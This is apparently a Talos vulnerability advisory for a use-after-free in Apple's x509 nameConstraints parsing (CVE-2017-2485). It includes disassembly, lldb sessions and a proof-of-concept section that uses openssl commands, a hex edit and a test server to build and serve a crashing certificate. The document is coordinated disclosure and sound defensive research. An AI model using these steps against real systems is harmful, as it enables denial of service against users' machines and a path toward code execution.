Talos Vulnerability Report

TALOS-2017-0296

Apple OS X and iOS x509 certificate parsing Name Constraints Remote Code Execution Vulnerability

March 9, 2017
CVE Number

CVE-2017-2485

Summary

An exploitable use-after-free vulnerability exists in the x509 certificate validation functionality in Apple macOS Sierra (10.12.3 release and 10.12.4 public beta versions) and iOS 10.2.1. A specially crafted x509 certificate can trigger a use-after-free vulnerability potentially resulting in remote code execution. In order to trigger this vulnerability the victim needs to visit a HTTPS website or other server which serves a malicios certificate or click on a file.

Tested Versions

Apple macOS 10.12.3 Apple macOS 10.12.4 beta Apple iOS 10.2.1

Product URLs

https://www.apple.com/lae/macos/sierra/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

When a client establishes a secure connection to a server, the server presents an x509 certificate which the client must validate.On Apple macOS, most client applications will use macOS’s certificate validation agent, at which point the malicious certificate will be parsed by the vulnerable code. This vulnerability can be triggered by, for example, visiting a HTTPS website with either Safari or Chrome, by connecting to a malicious mail server via Mail.app, or by simply importing the certificate by double clicking on it in finder.

The vulnerability exists in code responsible for parsing nameConstraints x509v3 certificate extension fields. In x509 certificate, nameConstraints are stored as general subtrees (RFC 5280) and while parsing them, the function parseGeneralSubtrees in library /System/Library/Frameworks/Security.framework/Versions/A/Security gets called:

__text:0000000000097061 push    rbp
__text:0000000000097062 mov     rbp, rsp
__text:0000000000097065 push    r15
__text:0000000000097067 push    r14
__text:0000000000097069 push    r13
__text:000000000009706B push    r12
__text:000000000009706D push    rbx
__text:000000000009706E sub     rsp, 78h
__text:0000000000097072 mov     rbx, rsi
__text:0000000000097075 lea     rsi, [rbp+var_38]
__text:0000000000097079 call    _DERDecodeSeqContentInit                [1]
__text:000000000009707E mov     r12d, eax
__text:0000000000097081 test    r12d, r12d
__text:0000000000097084 jnz     loc_971CE
__text:000000000009708A mov     rax, cs:_kCFAllocatorDefault_ptr
__text:0000000000097091 mov     rdi, [rax]
__text:0000000000097094 mov     [rbp+var_90], rdi
__text:000000000009709B mov     rdx, cs:_kCFTypeArrayCallBacks_ptr      
__text:00000000000970A2 xor     r12d, r12d
__text:00000000000970A5 xor     esi, esi
__text:00000000000970A7 call    _CFArrayCreateMutable                   [2]
__text:00000000000970AC mov     r15, rax
__text:00000000000970AF test    r15, r15
__text:00000000000970B2 jz      loc_971CE
...
__text:00000000000970B8 lea     rdi, [rbp+var_38]
__text:00000000000970BC lea     rsi, [rbp+var_50]
__text:00000000000970C0 call    _DERDecodeSeqNext                       [3]
__text:00000000000970C5 mov     r14d, eax
__text:00000000000970C8 test    r14d, r14d
__text:00000000000970CB jnz     loc_971A8
...
__text:00000000000971A8
__text:00000000000971A8 loc_971A8:
__text:00000000000971A8 mov     rdi, [rbx]                              
__text:00000000000971AB test    rdi, rdi
__text:00000000000971AE jz      short loc_971B5
...
__text:00000000000971B5
__text:00000000000971B5 loc_971B5:
__text:00000000000971B5 mov     [rbx], r15                              [4]
__text:00000000000971B8 cmp     r14d, 1
__text:00000000000971BC jz      loc_971CE
...
__text:00000000000971C3 loc_971C3:
__text:00000000000971C3 mov     rdi, r15
__text:00000000000971C6 call    _CFRelease                              [5]
__text:00000000000971CB mov     r12

At [1], DER sequence decoding is started, and a new memory buffer is allocated at [2] and saved in register r15. At [3], actual decoding is performed which, if failed, ends up at loc_971A8 and then at [4], a pointer to allocated memory is saved in [rbx] which points inside a structure allocated for this certificate. Because the call at [3] has failed, the check at [4] won’t succseed and the memory buffer gets freed at once at [5]. This is a first free and a stale pointer is left at [rbx]. Since this pointer is not NULL, it can later be reused, leading to process crash and further undefined behaviour. With the supplied PoC certificate, the process will again attempt to free the already freed memory area while freeing all certificate parsing related structures when calling SecuritySecCertificateDestroy`.

This can be observed in the following debugging session:

(lldb) settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
(lldb) command script import lldb.macosx.heap
"malloc_info", "ptr_refs", "cstr_refs", "find_variable", and "objc_refs" commands have been installed, use the "--help" options on these commands for detailed help.
(lldb) b parseGeneralSubtrees
Breakpoint 4: where = Security`parseGeneralSubtrees, address = 0x00007fff824b8061
(lldb) r verify-cert -c poc.der
There is a running process, kill it and restart?: [Y/n] Y
Process 2461 exited with status = 9 (0x00000009)
Process 2470 launched: '/usr/bin/security' (x86_64)
GuardMalloc[security-2470]: Allocations will be placed on 16 byte boundaries.
GuardMalloc[security-2470]:  - Some buffer overruns may not be noticed.
GuardMalloc[security-2470]:  - Applications using vector instructions (e.g., SSE) should work.
GuardMalloc[security-2470]: version 109
security(2470,0x7fff9a8263c0) malloc: stack logs being written into /tmp/stack-logs.2470.1000f0000.security.ANmHIl.index
security(2470,0x7fff9a8263c0) malloc: recording malloc and VM allocation stacks to disk using standard recorder
security(2470,0x7fff9a8263c0) malloc: process 2461 no longer exists, stack logs deleted from /tmp/stack-logs.2461.1000f0000.security.bTHK4Z.index
Stop reason : breakpoint 3.1
Process 2470 stopped
* thread #1: tid = 0x22c34, 0x00007fff824225ee Security`SecCertificateCreateWithData + 46, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
    frame #0: 0x00007fff824225ee Security`SecCertificateCreateWithData + 46
(lldb) disassemble -s  0x7fff824b80ac-5
Security`parseGeneralSubtrees:
    0x7fff824b80a7 <+70>: call   0x7fff82678a10            ; symbol stub for: CFArrayCreateMutable
    0x7fff824b80ac <+75>: mov    r15, rax
    0x7fff824b80af <+78>: test   r15, r15
    0x7fff824b80b2 <+81>: je     0x7fff824b81ce            ; <+365>
    0x7fff824b80b8 <+87>: lea    rdi, [rbp - 0x38]
    0x7fff824b80bc <+91>: lea    rsi, [rbp - 0x50]
    0x7fff824b80c0 <+95>: call   0x7fff82612976            ; DERDecodeSeqNext
(lldb) c
Process 2470 resuming
Stop reason : breakpoint 1.1 4.1
Process 2470 stopped
* thread #1: tid = 0x22c34, 0x00007fff824b8061 Security`parseGeneralSubtrees, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 4.1
    frame #0: 0x00007fff824b8061 Security`parseGeneralSubtrees

Above, we set a breakpoint at function parseGeneralSubtrees and at a call to CFArrayCreateMutable in it so we can see where our memory gets allocated.

(lldb) c
Process 2470 resuming
Stop reason : breakpoint 5.1
Process 2470 stopped
* thread #1: tid = 0x22c34, 0x00007fff824b80ac Security`parseGeneralSubtrees + 75, queue = 'com.apple.main-thread', stop reason = breakpoint 5.1
    frame #0: 0x00007fff824b80ac Security`parseGeneralSubtrees + 75
(lldb) malloc_info -s $rax
0x0000000101687fd0: malloc(    48) -> 0x101687fd0 __NSArrayM.NSMutableArray.NSArray.NSObject.isa
stack[0]: addr = 0x101687fd0, type=malloc, frames:
     [0] 0x00007fff91a93d7f libsystem_malloc.dylib`calloc + 30
     [1] 0x00007fff9101be9d libobjc.A.dylib`class_createInstance + 88
     [2] 0x00007fff7c121f6f CoreFoundation`__CFAllocateObject2 + 15
     [3] 0x00007fff7c297b71 CoreFoundation`+[__NSArrayM __new:::] + 33
     [4] 0x00007fff824b80ac Security`parseGeneralSubtrees + 75
     [5] 0x00007fff824b7648 Security`SecCEPNameConstraints + 75
     [6] 0x00007fff824b1f2f Security`SecCertificateParse + 1574
     [7] 0x00007fff8242263d Security`SecCertificateCreateWithData + 125
     [8] 0x00007fff824740c4 Security`SecCertificateCreateFromData + 82
     [9] 0x0000000100014cea security`___lldb_unnamed_symbol134$$security + 207
     [10] 0x0000000100016fae security`___lldb_unnamed_symbol147$$security + 18
     [11] 0x0000000100016a90 security`___lldb_unnamed_symbol146$$security + 800
     [12] 0x000000010001339a security`___lldb_unnamed_symbol118$$security + 270
     [13] 0x0000000100012efb security`___lldb_unnamed_symbol117$$security + 422
     [14] 0x00007fff9190f235 libdyld.dylib`start + 1
     [15] 0x00007fff9a8263c1 libsystem_pthread.dylib`_thread + 1

We can see that heap chunk of size 48 was allocated at 0x101687fd0, then we continue untill DERDecodeSeqNext call returns:

(lldb) b 0x7fff824b80c5
Breakpoint 6: where = Security`parseGeneralSubtrees + 100, address = 0x00007fff824b80c5
(lldb) disassemble -s  0x7fff824b80c5-5
Security`parseGeneralSubtrees:
    0x7fff824b80c0 <+95>:  call   0x7fff82612976            ; DERDecodeSeqNext
    0x7fff824b80c5 <+100>: mov    r14d, eax
    0x7fff824b80c8 <+103>: test   r14d, r14d
    0x7fff824b80cb <+106>: jne    0x7fff824b81a8            ; <+327>
    0x7fff824b80d1 <+112>: lea    rax, [rip + 0x1d1f20]     ; DERNumGeneralSubtreeItemSpecs
    0x7fff824b80d8 <+119>: movzx  eax, word ptr [rax]
    0x7fff824b80db <+122>: movzx  eax, ax
(lldb) register read rax
     rax = 0x0000000000000003

We can observe the return value of 3. This will jump out of the loop and end up at the code that saves the pointer to [rbx] and then frees it:

(lldb) b 0x7fff824b81a8
Breakpoint 7: where = Security`parseGeneralSubtrees + 327, address = 0x00007fff824b81a8     
(lldb) disassemble -s 0x7fff824b81a8
Security`parseGeneralSubtrees:
    0x7fff824b81a8 <+327>: mov    rdi, qword ptr [rbx]
    0x7fff824b81ab <+330>: test   rdi, rdi
    0x7fff824b81ae <+333>: je     0x7fff824b81b5            ; <+340>
    0x7fff824b81b0 <+335>: call   0x7fff82678d0a            ; symbol stub for: CFRelease
    0x7fff824b81b5 <+340>: mov    qword ptr [rbx], r15
    0x7fff824b81b8 <+343>: cmp    r14d, 0x1
    0x7fff824b81bc <+347>: je     0x7fff824b81ce            ; <+365>
    0x7fff824b81be <+349>: jmp    0x7fff824b81c3            ; <+354>
    0x7fff824b81c0 <+351>: xor    r14d, r14d
    0x7fff824b81c3 <+354>: mov    rdi, r15
(lldb) b 0x7fff824b81b5
Breakpoint 8: where = Security`parseGeneralSubtrees + 340, address = 0x00007fff824b81b5
(lldb) register read r14
     r14 = 0x0000000000000003
(lldb) disassemble -s $pc
Security`parseGeneralSubtrees:
->  0x7fff824b81c6 <+357>: call   0x7fff82678d0a            ; symbol stub for: CFRelease
    0x7fff824b81cb <+362>: mov    r12d, r14d
    0x7fff824b81ce <+365>: mov    eax, r12d
    0x7fff824b81d1 <+368>: add    rsp, 0x78
    0x7fff824b81d5 <+372>: pop    rbx
    0x7fff824b81d6 <+373>: pop    r12
    0x7fff824b81d8 <+375>: pop    r13
    0x7fff824b81da <+377>: pop    r14
    0x7fff824b81dc <+379>: pop    r15
    0x7fff824b81de <+381>: pop    rbp
    0x7fff824b81df <+382>: ret

Memory is now free, but a stale pointer is left. Continuing the process leads to the following crash:

(lldb) c
Process 2476 resuming
Stop reason : EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
Process 2476 stopped
* thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
    frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11
(lldb) bt
* thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x101687fd0)
  * frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11
    frame #1: 0x00007fff824b171d Security`SecCertificateDestroy + 298
    frame #2: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291
    frame #3: 0x00007fff7c297f9b CoreFoundation`-[__NSSingleObjectArrayI dealloc] + 43
    frame #4: 0x00007fff824c351e Security`SecTrustDestroy + 59
    frame #5: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291
    frame #6: 0x0000000100016d76 security`___lldb_unnamed_symbol146$$security + 1542
    frame #7: 0x000000010001339a security`___lldb_unnamed_symbol118$$security + 270
    frame #8: 0x0000000100012efb security`___lldb_unnamed_symbol117$$security + 422
    frame #9: 0x00007fff9190f235 libdyld.dylib`start + 1
    frame #10: 0x00007fff9190f235 libdyld.dylib`start + 1
(lldb) disassemble -s $pc
CoreFoundation`CFRelease:
->  0x7fff7c128b4b <+11>: mov    rax, qword ptr [rdi]
    0x7fff7c128b4e <+14>: test   rax, rax
    0x7fff7c128b51 <+17>: je     0x7fff7c128b8a            ; <+74>
    0x7fff7c128b53 <+19>: cmp    rax, qword ptr [rip + 0x1b094ade] ; __CFConstantStringClassReferencePtr
    0x7fff7c128b5a <+26>: je     0x7fff7c128b8a            ; <+74>
    0x7fff7c128b5c <+28>: mov    ecx, 0xa08
    0x7fff7c128b61 <+33>: bextr  ecx, dword ptr [rdi + 0x8], ecx
(lldb) register read rdi
     rdi = 0x0000000101687fd0
(lldb)

The crash is due to use of libgmalloc which marks freed memory as unreadable and unwritable:

(lldb) memory region $rdi
[0x00000001014a6fd0-0x00000001014a8000) ---
(lldb)

If we consult open source code from Apple regarding DER parsing functions, we can see that DERDecodeSeqNext will return 3 on decoding error (DR_DecodeError enum to be precise), so in order to trigger this vulnerability, a specially crafted x509 certificate with invalid nameConstraints is needed.

Further manipulation of the certificate layout in memory can lead to other structures being allocated at the freed chunk, leading to further undefined behaviour and eventual remote code execution.

When a simple PoC crashing certificate file is double clicked in Finder, it gets added to keychain which crashes when trying to parse it. This will keep crashing com.apple.trustd agent in a loop, effectively rendering the system unusable and unable to connect to any SSL/TLS server.

Crash Information

-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0000000101401D90  RBP: 0x00007FFF5FBFF2D0  RSP: 0x00007FFF5FBFF2B8  o d I t s Z a P c
  RDI: 0x00000001014A6FD0  RSI: 0x0000000101AB0000  RDX: 0x0000000000001000  RCX: 0x00000000004B6000  RIP: 0x00007FFF7C128B4B
  R8:  0x0000000000001A09  R9:  0x000000001A090000  R10: 0x0000000000000000  R11: 0x0000000000000202  R12: 0x0000000101401D98
  R13: 0x00007FFF971B9620  R14: 0xFFFFFFFF00000000  R15: 0x0000000000000100
  CS:  002B  FS: 0000  GS: 0000
-----------------------------------------------------------------------------------------------------------------------[code]
CoreFoundation`CFRelease:
->  0x7fff7c128b4b <+11>: mov    rax, qword ptr [rdi]
    0x7fff7c128b4e <+14>: test   rax, rax
    0x7fff7c128b51 <+17>: je     0x7fff7c128b8a            ; <+74>
    0x7fff7c128b53 <+19>: cmp    rax, qword ptr [rip + 0x1b094ade] ; __CFConstantStringClassReferencePtr
    0x7fff7c128b5a <+26>: je     0x7fff7c128b8a            ; <+74>
    0x7fff7c128b5c <+28>: mov    ecx, 0xa08
    0x7fff7c128b61 <+33>: bextr  ecx, dword ptr [rdi + 0x8], ecx
    0x7fff7c128b67 <+39>: lea    rdx, [rip + 0x1b092ac2]   ; __CFRuntimeObjCClassTable

-----------------------------------------------------------------------------------------------------------------------------
Stop reason : EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
Process 2476 stopped
* thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
    frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11
(lldb) bt
* thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
  * frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11
    frame #1: 0x00007fff824b171d Security`SecCertificateDestroy + 298
    frame #2: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291
    frame #3: 0x00007fff7c297f9b CoreFoundation`-[__NSSingleObjectArrayI dealloc] + 43
    frame #4: 0x00007fff824c351e Security`SecTrustDestroy + 59
    frame #5: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291
    frame #6: 0x0000000100016d76 security`___lldb_unnamed_symbol146$$security + 1542
    frame #7: 0x000000010001339a security`___lldb_unnamed_symbol118$$security + 270
    frame #8: 0x0000000100012efb security`___lldb_unnamed_symbol117$$security + 422
    frame #9: 0x00007fff9190f235 libdyld.dylib`start + 1
    frame #10: 0x00007fff9190f235 libdyld.dylib`start + 1
(lldb) disassemble -s $pc
CoreFoundation`CFRelease:
->  0x7fff7c128b4b <+11>: mov    rax, qword ptr [rdi]
    0x7fff7c128b4e <+14>: test   rax, rax
    0x7fff7c128b51 <+17>: je     0x7fff7c128b8a            ; <+74>
    0x7fff7c128b53 <+19>: cmp    rax, qword ptr [rip + 0x1b094ade] ; __CFConstantStringClassReferencePtr
    0x7fff7c128b5a <+26>: je     0x7fff7c128b8a            ; <+74>
    0x7fff7c128b5c <+28>: mov    ecx, 0xa08
    0x7fff7c128b61 <+33>: bextr  ecx, dword ptr [rdi + 0x8], ecx
(lldb) register read rdi
     rdi = 0x00000001014a6fd0
(lldb) memory region $rdi
[0x00000001014a6fd0-0x00000001014a8000) ---
(lldb)

Exploit Proof-of-Concept

A certificate that triggers this vulnerability can be created by modifying a sample certificate generated via openssl with added extensions to configuration file:

[ v3_req ]
nameConstraints=permitted;email:.somedomain.com

And then executing the following command:

openssl req -x509 -newkey rsa:1024 -keyout key.pem -out cert.pem -days 365 -nodes -extensions req_v3 -config /etc/ssl/openssl.cnf
openssl x509 -text -inform PEM -outform DER < cert.pem > poc.der

And modifying nameConstraints sequence decoding to fail, for example :

000001b0: 3015 a013 3011 810f 2e73 6f6d 6564 6f6d  0...0....somedom
000001c0: 6169 6e2e 636f 6d30 0d06 092a 8648 86f7  ain.com0...*.H..

To:

000001b0: 3015 a013 30ff 810f 2e73 6f6d 6564 6f6d  0...0....somedom
000001c0: 6169 6e2e 636f 6d30 0d06 092a 8648 86f7  ain.com0...*.H..

The crash can be demonstrated via /usr/bin/security :

bash-3.2$ /usr/bin/security verify-cert -c poc.der
Cert Verify Result: CSSMERR_TP_NOT_TRUSTED
Segmentation fault: 11
bash-3.2$

Or by creating a fake web server and visiting via browser:

 openssl s_server -cert poc.der  -certform DER  -key key.pem -accept 44330 -www -dhparam dHParam.pem

Which when visited by a browser results in:

mac com.apple.xpc.launchd[1] (com.apple.WebKit.Networking.FE2D7E71-2AAE-4092-9726-5ADB4EB8FF3A[909]): Service
exited due to signal: Segmentation fault: 11 sent by exc handler[0]
mac com.apple.xpc.launchd[1] (com.apple.ReportCrash[2515]): Endpoint has been activated through legacy launch(3) APIs.   
Please switch to XPC or bootstrap_check_in(): com.apple.ReportCrash

Timeline

2017-03-09 - Vendor Disclosure
2017-03-27 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.